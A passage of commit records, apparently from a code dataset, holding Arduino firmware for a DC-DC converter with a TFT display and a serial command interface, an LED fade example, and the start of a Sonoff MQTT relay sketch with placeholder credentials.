((digitalRead(BUTTON_KNOP1) == LOW) && (runState == false)){\n u1 = analogRead(ADC_U1);\n u1 = map(u1,0, 4095, 0, 693); \n knobLeft.write((u1+10)<<2); \n \/\/Serial.println(\"Taste1\");\n }\n if ((digitalRead(BUTTON_KNOP2) == LOW ) && (runState == false)) {\n knobLeftMitte.write(0); \n \/\/Serial.println(\"Taste2\");\n }\n if ((digitalRead(BUTTON_KNOP5) == LOW ) && (runState == false)) {\n knobUnten.write(0); \n \/\/Serial.println(\"Taste5\");\n }\n if ((digitalRead(BUTTON_KNOP6) == LOW ) && (runState == false)) {\n knobRightMitte.write(0); \n \/\/Serial.println(\"Taste6\");\n }\n if ((digitalRead(BUTTON_KNOP7) == LOW ) && (runState == false)) {\n u2 = analogRead(ADC_U2);\n u2 = map(u2,0, 4095, 0, 693); \n knobRight.write((u2+10)<<2); \n \/\/Serial.println(\"Taste7\");\n }\n if ((digitalRead(BUTTON_KNOP1) == LOW) && (digitalRead(BUTTON_KNOP7) == LOW)) {\n tft.fillScreen(HX8357_BLACK); \/\/TFT\n Serial.println(\"ClearScreen\");\n presetAnnKinnTonn();\n }\n\n\n\n if ((digitalRead(BUTTON_KNOP2) == LOW ) && (runState == true)) {\n\/\/ Serial.print(\"UAREF: \");Serial.print((long) GEMESSENE_2V5_REFERENZ * 65536 \/ iir2V5ref);\n\/\/ Serial.print(\" Version: \");Serial.print((float)VERSION\/100);\n\/\/ Serial.print(\" U1min: \");Serial.print(digitalRead(RE_U1min));\n\/\/ Serial.print(\" U1max: \");Serial.print(digitalRead(RE_U1max));\n\/\/ Serial.print(\" U2min: \");Serial.print(digitalRead(RE_U2min));\n\/\/ Serial.print(\" U2max: \");Serial.println(digitalRead(RE_U2max));\n }\nint regErkNew = digitalRead(RE_U1min)*8 + digitalRead(RE_U1max)*4 + digitalRead(RE_U2min)*2 + digitalRead(RE_U2max);\nif (regErkNew != ReglerErkennung){\n color = 0x4111;\n if (digitalRead(RE_U1max) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + 10, 3, color, lastReportedPosE1*100, encoder1Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + 24);\n tft.print(\"max\"); \n\n color = 0x4111;\n if (digitalRead(RE_U1min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE2*100, encoder2Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n \n\n color = 0x4111;\n if (digitalRead(RE_U2max) == 0) color = HX8357_YELLOW; \n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + 10, 3, color, lastReportedPosE7*100, encoder7Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + 24);\n tft.print(\"max\");\n\n color = 0x4111;\n if (digitalRead(RE_U2min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE6*100, encoder6Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n\n color = 0x4111;\n if (digitalRead(RE_U2min) == 1 && digitalRead(RE_U2max) == 1 && digitalRead(RE_U1min) == 1 && digitalRead(RE_U1max) == 1) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, 3*BOXSIZE-31, 3, color, lastReportedPosE5*10, encoder5Val*10, 4, \"A\");\n \/\/ tft.print(\"A\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE*3-31+14);\n tft.print(\"soll\");\n\n \/\/\/\/\/\n \n}\nReglerErkennung = regErkNew;\n \n \/\/--------------------------- ADC ---------------------------------------------------------- \n\n u2V5Ref = analogRead(ADC_2V5Ref);\n \/\/iir2V5ref = u2V5Ref;\n iir2V5ref = iir2V5ref - iir2V5ref\/16;\n iir2V5ref = u2V5Ref + iir2V5ref;\n \n uADC = GEMESSENE_2V5_REFERENZ * 65536 \/ iir2V5ref; \/\/ADC-Spannung in mV\n\n u1 = analogRead(ADC_U1);\n u2 = analogRead(ADC_U2);\n \n iref = analogRead(ADC_IREF);\n i1 = analogRead(ADC_I1);\n i2 = analogRead(ADC_I2);\n\n\/\/Alternative Strom-Berechnung....hoffentlich genauer **************** ja e ganz gut...\n\/*\nint aI1, aI2;\n aI1 = i1-iref;\n aI2 = i2-iref;\n\n iirAI1 = iirAI1 - iirAI1\/16;\n iirAI1 = aI1 + iirAI1;\n\n iirAI2 = iirAI2 - iirAI2\/16;\n iirAI2 = aI2 + iirAI2;\n \n\n*\/\n\/\/********************************************************************\n \n iirU1 = iirU1 - iirU1\/16;\n iirU1 = u1 + iirU1;\n\n iirU2 = iirU2 - iirU2\/16;\n iirU2 = u2 + iirU2;\n\n iirI1 = iirI1 - iirI1\/16;\n iirI1 = i1 + iirI1;\n\n iirI2 = iirI2 - iirI2\/16;\n iirI2 = i2 + iirI2;\n\n iirIref = iirIref - iirIref\/16;\n iirIref = iref + iirIref;\n \n if (statemachineCounter >= 3000) {\n \n u1 = map(iirU1,0, 65535, 0, (long) uADC*21*1001\/1000)+ 50; \/\/guteStellezumKalibrieren !!!\n u2 = map(iirU2,0, 65535, 0, (long) uADC*21*996\/1000) +146; \/\/Faktor 0,996 Offset 146mV sollte lieber alles in mV gehalten sein\n i1 = map(iirI1,0, 65535, 0, uADC*10);\n i2 = map(iirI2,0, 65535, 0, uADC*10);\n \/\/aI1 = map(iirAI1,0, 65535, 0, uADC*100\/18);\n \/\/aI2 = map(iirAI2,0, 65535, 0, uADC*100\/18);\n iref = map(iirIref,0, 65535, 0, uADC*10);\n\n i1 = (iref - i1)*10\/18; \/\/nur mit mit Stromrichtungsumbau i1!\n i2 = (i2 - iref)*10\/18;\n \n lastU1 = tftTextWertUpdate(10, BOXSIZE + BOXSIZE\/2-14, 4, HX8357_BLUE, lastU1, u1,4, \"V\");\n \/\/ tft.print(\"V\");\n \/\/ jetzt mit Leistungsanzeige!************************\n p1 = u1 * i1 \/ 1000;\n lastP1 = tftTextWertUpdate(20, BOXSIZE\/2-14-40, 3, HX8357_MAGENTA, lastP1, p1,5, \"W\");\n \/\/ tft.print(\"W\"); \n \/\/***************************************************-\n lastI1 = tftTextWertUpdate(10, BOXSIZE + BOXSIZE\/2-14+BOXSIZE, 4, HX8357_RED, lastI1, i1,4, \"A\");\n \/\/tft.print(\"A\");\n \/\/lastAI1 = tftTextWertUpdate(10, BOXSIZE + 14+BOXSIZE, 2, HX8357_RED, lastAI1*100, aI1*100,5);\n \/\/tft.print(\"mA\");\n \n \n \/\/U2 \n lastU2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + BOXSIZE\/2-14, 4, HX8357_BLUE, lastU2, u2,4, \"V\");\n \/\/tft.print(\"V\");\n \n \/\/ jetzt mit Leistungsanzeige!*********************\n p2 = u2 * i2 \/ 1000;\n lastP2 = tftTextWertUpdate(20+BOXSIZE, BOXSIZE\/2-14-40, 3, HX8357_MAGENTA, lastP2, p2,5, \"W\");\n \/\/tft.print(\"W\"); \n \/\/***************************************************-\n lastI2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + BOXSIZE\/2-14+BOXSIZE, 4, HX8357_RED, lastI2, i2,4, \"A\");\n \/\/tft.print(\"A\");\n \/\/lastAI2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + 14+BOXSIZE, 2, HX8357_RED, lastAI2*100, aI2*100,5);\n \/\/tft.print(\"mA\");\n\nint newNTC1 = analogRead(ADC_NTC1);\nint newNTC2 = analogRead(ADC_NTC2);\n\n tftTextWertUpdate(40,BOXSIZE\/3+5, 1, 0xAAAA,(3520-lastNTC1)*1000\/24,(3520-newNTC1)*1000\/24, 4, \" GC NTC1\");\n \/\/ tft.print(\" GC NTC1\");\n tftTextWertUpdate(BOXSIZE + 45,BOXSIZE\/3+5, 1, 0xAAAA,(3520-lastNTC2)*1000\/24,(3520-newNTC2)*1000\/24, 4, \" GC NTC2\");\n \/\/tft.print(\" GC NTC2\");\n\n lastNTC1 = newNTC1;\n lastNTC2 = newNTC2;\n \n }\n \n\n\/\/******************************************PWM Settings********************************************** \n \/\/ REG_PWM_CDTY2 = 2000; \/\/TFT-Backlight\n \/\/ if (REG_PWM_CDTY2 > 6000) REG_PWM_CDTY2 = 0;\n\n int kalibrierterPWMU1Max= map(encoder1Val, 0, 2*uADC, 0 , MaxPWMCount*10+ 50);\n if (kalibrierterPWMU1Max > 12) kalibrierterPWMU1Max -=12; \/\/Offset einrechnen und verhindern da\u00df Wert negativ wird \n REG_PWM_CDTY3 = kalibrierterPWMU1Max;\n\n int kalibrierterPWMU1Min= map(encoder2Val, 0, 2*uADC, 0 , MaxPWMCount*10- 100);\n if (kalibrierterPWMU1Min > 10) kalibrierterPWMU1Min -=10;\n REG_PWM_CDTY2 = kalibrierterPWMU1Min;\n \/\/ nix mehr analogWrite(PWM_bla_bla, ...\n \/\/ Faktor v v Offset\n \n int kalibrierterPWMU2Max= map(encoder7Val, 0, 2*uADC, 0 , MaxPWMCount*10- 300);\n if (kalibrierterPWMU2Max > 15) kalibrierterPWMU2Max -=15; \/\/Offset einrechnen und verhindern da\u00df Wert negativ wird\n REG_PWM_CDTY6 = kalibrierterPWMU2Max; \/\/ Faktor und Offset wurden durch probieren bestimmt\n \n int kalibrierterPWMU2Min= map(encoder6Val, 0, 2*uADC, 0 , MaxPWMCount*10- 300);\n if (kalibrierterPWMU2Min > 15) kalibrierterPWMU2Min -=15;\n REG_PWM_CDTY7 = kalibrierterPWMU2Min;\n\n \n\n if (statemachineCounter%200 == 0) {\n if (abs(lastI2) <= 400) NullpunktPWM = MaxPWMCount\/2; \/\/Normalzustand, in beide Richtungen gleich\n if (lastI2 > 400) {\n NullpunktPWM = NullpunktPWM - 30;\n if (NullpunktPWM <= MaxPWMCount \/ 8) NullpunktPWM = MaxPWMCount \/ 8;\n \/\/Serial.println(\"Jetzt fliessen \u00fcber 4A\");\n }\n if (lastI2 < -400){\n NullpunktPWM =NullpunktPWM + 30;\n if (NullpunktPWM >= MaxPWMCount *7 \/ 8) NullpunktPWM = MaxPWMCount *7 \/ 8;\n \/\/Serial.println(\"Jetzt fliessen unter -4A\");\n }\n \/\/Serial.print(\"Nullpunkt: \");Serial.print(NullpunktPWM);Serial.print(\" i2: \");Serial.println(lastI2);\n }\n \n REG_PWM_CDTY4 = NullpunktPWM; \/\/nur mit Umbau, sonst sollte immer \/\/genau auf die H\u00e4lfte\n REG_PWM_CDTY5 = map(encoder5Val, -916, 916, NullpunktPWM - MaxPWMCount\/2 , NullpunktPWM + MaxPWMCount\/2); \/\/Stromstellwert \n if (REG_PWM_CDTY5 <= 0) REG_PWM_CDTY5 = 0;\n\n\n if (statemachineCounter >=3000) statemachineCounter = 0;\n statemachineCounter++;\n\n \/\/RUN\/Stop-Taste***************************************************************************************************************************************\n int runTaste = digitalRead(RUN_TASTER);\n if (!runTaste && lastRunTaste && millis()-timestampRunTaste > ENTPRELLMILLIS){\n if (!runState) {\n dcdcRUN();\n }\n else {\n dcdcSTOP();\n }\n timestampRunTaste = millis();\n }\n lastRunTaste = runTaste;\n if (!digitalRead(DCDCENTRI) && runState) {\n runState = false;\n dcdcSTOP();\n }; \/\/Wenn der Wandler wegen \u00dcberspannung abgeworfen wird\n\n if(runState) {\n digitalWrite(RUN_LED,HIGH);\n \n }else {\n digitalWrite(RUN_LED,LOW); \n pinMode(DCDCENTRI, OUTPUT);\n digitalWrite(DCDCENTRI,LOW);\n }\n \/\/Taste4***************************************************************************************************************************************\n int taste4 = digitalRead(TASTER4);\n if (!taste4 && lastTaste4 && millis()-timestampTaste4 > ENTPRELLMILLIS){\n if (!taste4State) {\n \/\/do something einmal bei Tastendruck\n taste4State = true;\n }\n else {\n \/\/do something einmal bei Tastendruck\n taste4State = false;\n }\n timestampTaste4 = millis();\n }\n lastTaste4 = taste4;\n \/\/if (!digitalRead(??)) {taste4State = false;}; \/\/Wenn der On-Zustand verlassen werden soll\n\n if(taste4State) {\n \/\/do something dauerhaft bis zum n\u00e4chsten Tastendruck\n REG_PWM_CDTY1 = 800; \/\/TFT-Backlight\n \n \/\/digitalWrite(LED4,HIGH);\n }else {\n \/\/do something dauerhaft bis zum n\u00e4chsten Tastendruck\n \/\/digitalWrite(LED4,LOW); \n REG_PWM_CDTY1 = 3000; \/\/TFT-Backlight \n \/\/pinMode(3, INPUT);\n \/\/pinMode(4, INPUT);\n \n }\ndigitalWrite(LED4,LOW); \/\/Weil sonst niemand das Licht ausmacht\n \/\/-------------------------------------------------------------------------------------\n serialEvent(); \/\/call the function\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n parseString();\n \/\/ clear the string:\n inputString = \"\";\n valueString = \"\";\n stringComplete = false;\n nachTrennzeichen = false;\n }\n}\n\/\/######################################################################################################\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n char inChar = Serial.read();\n inputString += inChar;\n if (inChar == ' ') nachTrennzeichen = true;\n if (nachTrennzeichen && ((isDigit(inChar) || (inChar == '-')))) {\n valueString+= (char)inChar;\n }\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\nvoid parseString(void){\n Serial.print(inputString);\n \/\/Serial.println(valueString);\n\n if (inputString.length() == 2) {\n \/\/ Serial.print(\"******************************************************\");\n promt();\n }\n else if (inputString.startsWith(\"?\") || inputString.startsWith(\"help\")) {\n Serial.println(\"******************** help ****************************\");\n Serial.println(\"Befehle zum einstellen oder auslesen:\");\n Serial.println(\"******************************************************\");\n Serial.println(\"i2soll [+\/-Wert in mA]..................Strom-Sollwert\");\n Serial.println(\"u1max [Wert in mV]......................U1-Maximalwert\");\n Serial.println(\"u1min [Wert in mV]......................U1-Minimalwert\");\n Serial.println(\"u2max [Wert in mV]......................U2-Maximalwert\");\n Serial.println(\"u2min [Wert in mV]......................U2-Minimalwert\");\n Serial.println(\"endcdc [0 oder 1]..................OFF\/ON DCDC-Wandler\");\n Serial.println(\"tftpwm [Wert 0..6000]..........PWM der TFT Beleuchtung\");\n Serial.println(\"******************************************************\");\n Serial.println(\"Befehle ohne Wertangabe antworten den aktuellen Wert\");\n Serial.println(\"folgende Parameter k\u00f6nnen nur ausgelesen werden:\");\n Serial.println(\"******************************************************\");\n Serial.println(\"i1...............................Messwert des Strom I1\");\n Serial.println(\"i2...............................Messwert des Strom I2\");\n Serial.println(\"u1............................Messwert der Spannung U1\");\n Serial.println(\"u2............................Messwert der Spannung U2\");\n Serial.println(\"uiref...........Messwert der Nullpunkt-Vorgabespannung\");\n Serial.println(\"vref.......Messwert der Externen Referenzspannung 2,5V\");\n Serial.println(\"t1...................Temperatur in GC des Sensors NTC1\");\n Serial.println(\"t2...................Temperatur in GC des Sensors NTC2\");\n \n Serial.println(\"******************************************************\");\n Serial.println(\"Kleinschreibung beachten!(z.B. nicht Endcdc 0)\");\n Serial.print(\"******************************************************\");\n promt();\n }\n\/\/ else if (inputString.startsWith(\"ver\")) {\n\/\/ Serial.print(\"Hardware: E2W RevA Software: \"); Serial.print(valueString.toInt()); Serial.print(\"mA gesetzt\");\n\/\/ promt();\n\/\/ }\n else if (inputString.startsWith(\"i2soll\")) {\n if(inputString.length() <= 8) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print((knobUnten.read()>>2)*10); \n }\n else {\n Serial.print(\"i2soll wird auf \"); Serial.print(valueString.toInt()); Serial.print(\"mA gesetzt\");\n knobUnten.write(valueString.toInt()*4\/10);\n }\n promt();\n }\n else if (inputString.startsWith(\"u1max\")) {\n if(inputString.length() <= 7) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print((knobLeft.read()>>2)*100); \n }\n else{\n Serial.print(\"u1max wird auf \"); Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n knobLeft.write(valueString.toInt()*4\/100);\n }\n promt();\n }\n else if (inputString.startsWith(\"u1min\")) {\n if(inputString.length() <= 7) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print((knobLeftMitte.read()>>2)*100); \n }\n else{\n Serial.print(\"u1min wird auf \"); Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n knobLeftMitte.write(valueString.toInt()*4\/100);\n }\n promt();\n }\n else if (inputString.startsWith(\"u2max\")) {\n if(inputString.length() <= 7) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print((knobRight.read()>>2)*100); \n }\n else{\n Serial.print(\"u2max wird auf \"); Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n knobRight.write(valueString.toInt()*4\/100);\n }\n promt();\n }\n else if (inputString.startsWith(\"u2min\")) {\n if(inputString.length() <= 7) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print((knobRightMitte.read()>>2)*100); \n }\n else{\n Serial.print(\"u2min wird auf \"); Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n knobRightMitte.write(valueString.toInt()*4\/100);\n }\n promt();\n }\n else if (inputString.startsWith(\"endcdc\")) {\n if(inputString.length() <= 8) {\/\/mit NewLine & CR oder eben nur NL\n Serial.print(\"der aktuelle Wert von endcdc wird ausgegeben \"); \n }\n else{\n if(valueString.toInt()){\n Serial.print(\"Der DCDC-Wandler wird eingeschaltet \"); \n dcdcRUN();\n }else {\n Serial.print(\"Der DCDC-Wandler wird ausgeschaltet \");\n dcdcSTOP();\n }\n }\n promt();\n }\n else if (inputString.startsWith(\"i1\")) {\n Serial.print(lastI1); \/\/Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n promt();\n }\n else if (inputString.startsWith(\"i2\")) {\n Serial.print(lastI2); \/\/Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n promt();\n }\n else if (inputString.startsWith(\"u1\")) {\n Serial.print(lastU1); \/\/Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n promt();\n }\n else if (inputString.startsWith(\"u2\")) {\n Serial.print(lastU2); \/\/Serial.print(valueString.toInt()); Serial.print(\"mV gesetzt\");\n promt();\n }\n else {\n Serial.print(\"type: ? or: help\");\n promt();\n }\n}\n\nvoid promt(void){\n Serial.println();\n Serial.print(\"E2W V\");Serial.print((float)VERSION\/100);Serial.print(\"> \");\n}\n\nvoid tftPrintFloatMilli(int x, int y, int Textsize, int Color,int WertInMilliEinheiten, char* Einheit, int Offset){\n if ((WertInMilliEinheiten == abs(WertInMilliEinheiten)) && (WertInMilliEinheiten < 10000)){\n Offset += 3;\n }else if ((WertInMilliEinheiten > -10000) && (WertInMilliEinheiten < 100000)){\n Offset += 2;\n }else if ((WertInMilliEinheiten > -100000) && (WertInMilliEinheiten < 1000000)){\n Offset += 1;\n }\n Offset = Offset * Textsize * 6; \/\/Pixelabstand 6 Pixel pro Zeichen\n tft.setCursor(x + Offset,y);\n tft.setTextSize(Textsize);\n tft.setTextColor(Color);\n tft.print((float) WertInMilliEinheiten\/1000);\n tft.print(Einheit);\n}\n\nint tftTextWertUpdate(int x, int y, int Textsize, int Color,int lastWert,int newWert, int digits, char* Einheit){\n int aktuellerText, xOff;\n\n if (digits == 4) xOff = -2;\n if (digits == 5) xOff = -1;\n \n tftPrintFloatMilli(x, y, Textsize, HX8357_BLACK, lastWert, Einheit, xOff);\n tftPrintFloatMilli(x, y, Textsize, Color, newWert, Einheit, xOff);\n \n aktuellerText = newWert;\n return aktuellerText;\n}\n\nvoid dcdcRUN(void){\n pinMode(DCDCENTRI, OUTPUT);\n \/\/PORTB |= _BV(PIN1); \/\/auf HIGH\n digitalWrite(DCDCENTRI,HIGH);\n delayMicroseconds(10);\n pinMode(DCDCENTRI, INPUT);\n runState = true;\n tft.drawRect(10, BOXSIZE\/3+20, 2*BOXSIZE-20, BOXSIZE*2\/3-25, 0xD1CC);\n tft.setCursor(BOXSIZE\/2,BOXSIZE\/2+30);\n tft.setTextSize(2);\n tft.setTextColor(HX8357_RED);\n tft.print(\"...running!\"); \n}\n\nvoid dcdcSTOP(void){\n runState = false;\n tft.drawRect(10, BOXSIZE\/3+20, 2*BOXSIZE-20, BOXSIZE*2\/3-25, HX8357_BLACK);\n tft.setCursor(BOXSIZE\/2,BOXSIZE\/2+30);\n tft.setTextSize(2);\n tft.setTextColor(HX8357_BLACK);\n tft.print(\"...running!\"); \n}\n\n\/\/preset\nvoid presetAnnKinnTonn(){\n int u1,u2;\n u1 = analogRead(ADC_U1);\n u1 = map(u1,0, 4095, 0, 693); \n knobLeft.write((u1+10)<<2); \n u2 = analogRead(ADC_U2);\n u2 = map(u2,0, 4095, 0, 693); \n knobRight.write((u2+10)<<2); \n tft.drawRect(1, BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C0);\n tft.drawRect(BOXSIZE + 1, BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C0);\n tft.drawRect(1, 2*BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C1);\n tft.drawRect(BOXSIZE + 1, 2*BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C1);\n tft.drawRect(1, 1, BOXSIZE-2, BOXSIZE\/3+15, 0x51C1);\n tft.drawRect(BOXSIZE + 1, 1, BOXSIZE-2, BOXSIZE\/3+15, 0x51C1);\n\n tft.setCursor(BOXSIZE\/2-10,BOXSIZE\/2);\n tft.setTextSize(2);\n tft.setTextColor(0x7542);\n tft.print(\"Energy2Work \"); tft.print((float) VERSION\/100);\n \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'E2W_0.66.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"83ed5cf9b3a08d972491ccc0d048d3bfac819ace","subject":"Arduino - LED linear fade.","message":"Arduino - LED linear fade.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/007_led_linear_fade\/007_led_linear_fade.ino","new_file":"arduino\/007_led_linear_fade\/007_led_linear_fade.ino","new_contents":"\/**\n * Copyright (c) 2020, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * Arduino\/005\n * Example of LED linear fade (LED connected with resistor in series to pin 11)\n *\/\n\n#include <stdint.h>\n\n\/**\n * The instance of this class can control single LED.\n * - on, off, toggle (any digital pin)\n * - brightness (only PWM pins; i.e. for Arduino Uno: 3, 5, 6, 9, 10, 11)\n *\/\nclass BasicLed {\npublic:\n BasicLed(uint8_t pin): pin_(pin) {\n pinMode(pin, OUTPUT); \n }\n \/* Light the LED up *\/\n void on(void) {\n digitalWrite(pin_, HIGH);\n }\n \/* Turn the LED off *\/\n void off(void) {\n digitalWrite(pin_, LOW);\n }\n \/* Toogle LED on\/off *\/\n void toggle(void) {\n digitalWrite(pin_, !digitalRead(pin_));\n }\n \/* Set LED brightness from range <0, 255> *\/\n void setBrightness(uint8_t value) {\n analogWrite(pin_, value);\n }\nprivate:\n uint8_t pin_;\n}; \/* End of class BasicLed *\/\n\nclass LinearFade {\npublic:\n LinearFade(const BasicLed& led, uint8_t delay_ms = 5):\n led_(led), delay_ms_(delay_ms) {}\n \/* Fade-in *\/\n void in(void) {\n for (int16_t i = 0; i < 256; ++i) {\n led_.setBrightness(i);\n delay(delay_ms_);\n }\n }\n \/* Fade-out *\/\n void out(void) {\n for (int16_t i = 255; i > 0; --i) {\n led_.setBrightness(i);\n delay(delay_ms_);\n }\n }\nprivate:\n const BasicLed led_;\n uint8_t delay_ms_;\n}; \/* End of class LinearFade *\/\n\nBasicLed led(11);\nLinearFade fade(led);\n\nvoid setup() {\n \/\/ do nothing\n}\n\nvoid loop() {\n fade.in();\n fade.out();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/007_led_linear_fade\/007_led_linear_fade.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"14589d999f46eb969404e4e75795fee5e8869a3a","subject":"Changed MAX and MIN values on arduino RC driver","message":"Changed MAX and MIN values on arduino RC driver\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"76cec154a03a68e8ac177bb52e5d4bb991ed8285","subject":"Upando o c\u00f3digo do ardu\u00edno","message":"Upando o c\u00f3digo do ardu\u00edno","repos":"juniorerico\/ZeroUm_QR","old_file":"zeroumQR\/Arduino\/qrcode_backup\/qrcode_backup.ino","new_file":"zeroumQR\/Arduino\/qrcode_backup\/qrcode_backup.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/juniorerico\/ZeroUm_QR.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"e19256801ad43d95e9f6d74a9d4fa336ec6193f4","subject":"v1.01 files added","message":"v1.01 files added\n","repos":"KmanOz\/Sonoff-HomeAssistant","old_file":"arduino\/ESPsonoff_TH-v1.01p\/ESPsonoff_TH-v1.01p.ino","new_file":"arduino\/ESPsonoff_TH-v1.01p\/ESPsonoff_TH-v1.01p.ino","new_contents":"\/*\n\n Copyright (c) 2017 @KmanOz\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n ==============================================================================\n Changes in v1.01\n \n - Relay state now stored in EEPROM and will power up with last relay state\n - Remote ON & OFF via Wallswitch on pin 14. No debounce provided. Assumes\n operation via proper electrical wallswitch which has mechanical debounce.\n ==============================================================================\n\n **** USE THIS Firmware for: Sonof TH10\/16 and additional wallswitch ****\n\n*\/\n\n#include <EEPROM.h>\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <Ticker.h>\n\n#define BUTTON 0 \/\/ (Don't Change for Sonoff TH Series)\n#define RELAY 12 \/\/ (Don't Change for Sonoff TH Series)\n#define LED 13 \/\/ (Don't Change for Sonoff TH Series)\n#define WALLSWITCH 14 \/\/ (Don't Change for Sonoff TH Series)\n\n#define MQTT_CLIENT \"Sonoff_Living_Room_v1.0p\" \/\/ mqtt client_id (Must be unique for each Sonoff)\n#define MQTT_SERVER \"192.168.0.100\" \/\/ mqtt server\n#define MQTT_PORT 1883 \/\/ mqtt port\n#define MQTT_TOPIC \"home\/sonoff\/living_room\/1\" \/\/ mqtt topic (Must be unique for each Sonoff)\n#define MQTT_USER \"user\" \/\/ mqtt user\n#define MQTT_PASS \"pass\" \/\/ mqtt password\n\n#define WIFI_SSID \"homewifi\" \/\/ wifi ssid\n#define WIFI_PASS \"homepass\" \/\/ wifi password\n\n#define VERSION \"\\n\\n---------------- Sonoff TH Powerpoint v1.01p -----------------\"\n\nbool rememberRelayState = true; \/\/ If 'true' remembers the state of the relay before power loss.\nbool requestRestart = false; \/\/ (Do not Change)\nbool sendStatus = false; \/\/ (Do not Change)\n\nint kUpdFreq = 1; \/\/ Update frequency in Mintes to check for mqtt connection\nint kRetries = 10; \/\/ WiFi retry count. Increase if not connecting to router.\nint wallSwitch = 1; \/\/ (Do not Change)\nint lastWallSwitch = 1; \/\/ (Do not Change)\nint lastRelayState; \/\/ (Do not Change)\n\nunsigned long TTasks; \/\/ (Do not Change)\nunsigned long count = 0; \/\/ (Do not Change)\n\nextern \"C\" { \n #include \"user_interface.h\" \n}\n\nWiFiClient wifiClient;\nPubSubClient mqttClient(wifiClient, MQTT_SERVER, MQTT_PORT);\nTicker btn_timer;\n\nvoid callback(const MQTT::Publish& pub) {\n if (pub.payload_string() == \"stat\") {\n }\n else if (pub.payload_string() == \"on\") {\n digitalWrite(RELAY, HIGH);\n }\n else if (pub.payload_string() == \"off\") {\n digitalWrite(RELAY, LOW);\n }\n else if (pub.payload_string() 